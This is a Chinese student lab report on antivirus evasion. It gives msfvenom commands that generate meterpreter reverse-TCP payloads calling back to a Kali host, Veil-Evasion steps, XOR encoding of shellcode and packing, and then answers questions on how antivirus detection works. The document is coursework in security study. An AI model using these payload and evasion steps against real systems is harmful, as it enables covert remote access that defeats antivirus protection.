网络攻防技术 实验三 免杀原理与实践
使用msf生成后门程序的检测
- 首先我们对上次实验生成的后门exe,利用VirSCAN进行检测
- 然后我们利用
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.150.138(kali ip) lport=5220 x> 5220_backjar.jar
,
生成jar文件,进行检测。
使用veil-evasion生成反弹链接的可执行文件
-
首先我们先对veil-evasion进行安装,详情可参考老师博客
-
安装好之后,我们利用
veil
,指令打开veil-evasion
-
依次用
use evasion
,list payloads
,进入到payloads模板界面 -
随便选择一个模板,将其复制,然后输入
use 5
(你所复制的模板) -
然后输入
set LHOST kali-ip
,set LPORT 5220
对其进行配置,然后输入generate
,生成。
利用shellcode编程实现免杀
-
首先我们输入
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.150.138 LPORT=443 -f c
-
根据老师所给的,将其变成C语言文件,进行编译
-
进行回连,回连成功
对shellcode进行更改
- 我首先对其进行异或,我做的为异或0x83
-
回连成功
-
进行检测,如图
加壳
加壳后我发现了加壳后的病毒文件较之前未加壳更容易被查杀,但我发现了其中有的杀毒软件在病毒文件加壳后反而未能识别出来,而加壳后有些新的杀毒软件反而能够识别了,这我就不知所因了。
基础问题
-
1.杀软是如何检测出恶意代码的?
-
基于特征码的检测:杀毒软件的病毒库记录了一些恶意软件的特征码,这些特征码由一个不大于64字节的特征串组成,根据已检测出或网络上公布的病毒,对其提取特征码,记录成病毒库,检测到程序时将程序与特征码比对即可判断是否是恶意代码。
-
.基于行为的恶意软件检测:在程序运行的状态下(动态)对其行为进行监控,如果有敏感行为会被认为是恶意程序,是一种动态的监测与捕捉。
-
-
2.免杀是做什么?
- 免杀是将二进制码隐藏,或者变形
-
3.免杀的基本方法有哪些?
-
改变特征码
-
对exe可执行文件加壳:压缩壳 加密壳
-
基于payload重新编译生成可执行文件
-
实践总结与体会
本次实验过程颇为曲折,首先在下载veil过程中无法安装,再三尝试后只得拷了一个虚拟机;
然后对shellcode代码更改后,回连出现了失败,在组长的指导下顺利解决了该问题。
通过本次实验,突然发现稍稍修改病毒就可以骗过好多杀毒软件,让我对现在电脑的安全性有了重新的审视;
最后我还是赶紧去给电脑杀毒了。